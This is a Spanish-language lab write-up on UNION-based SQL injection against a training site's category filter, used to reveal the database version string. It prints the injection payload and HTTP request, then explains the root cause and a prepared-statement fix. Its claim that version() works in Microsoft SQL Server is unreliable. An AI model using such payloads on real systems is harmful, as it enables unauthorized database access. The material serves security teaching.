← Writeups

UNION-based SQLi: fingerprinting de versión en MySQL/Microsoft con version()

Fingerprinting del motor de base de datos en MySQL y Microsoft SQL Server mediante UNION-based SQLi en el filtro de categoría, usando la función version().

1. Target Overview & Vulnerability Summary

El filtro de categoría es inyectable con resultados reflejados en la respuesta (ataque UNION-based). El objetivo del lab es simplemente exponer el string de versión del motor. La función version() es válida en MySQL y Microsoft SQL Server (vía @@version en MSSQL), por lo que el mismo payload sirve para el fingerprint del motor.

Severidad Endpoint vulnerable Root cause
Medium GET /filter?category=... Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta

2. Technical Breakdown & Exploitation Flow

  1. Determinar la aridad de la query original con UNION SELECT NULL[, NULL...] hasta que no se produzca error (2 columnas en este lab).
  2. Sustituir la columna compatible con texto por la función de versión:
' UNION SELECT NULL,version()-- -
GET /filter?category=' UNION SELECT NULL,version()-- - HTTP/1.1
Host: 0a...web-security-academy.net

La respuesta refleja el string del motor, que identifica MySQL o MSSQL (para MSSQL alternativamente @@version). Con la versión expuesta el lab queda resuelto.

3. Root Cause Analysis

La query del filtro se interpola sin prepared statements:

SELECT column1, column2 FROM products WHERE category = 'Gifts'

El branch UNION SELECT permite invocar funciones del motor en columnas compatibles; version() se ejecuta con los privilegios del rol de la app y su salida se serializa en el HTML. Este lab demuestra el primer paso de cualquier escalada UNION-based: fingerprint del motor para elegir el dialecto (funciones de metadatos, concatenación, etc.) del exploit posterior.

4. Secure Remediation

Parametrización de la query:

String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);

Defensa en profundidad: rol de BD con menor privilegio que no exponga la versión (por ejemplo, sin SELECT sobre vistas de metadatos) y redacción del string de versión en respuestas públicas si no es necesario.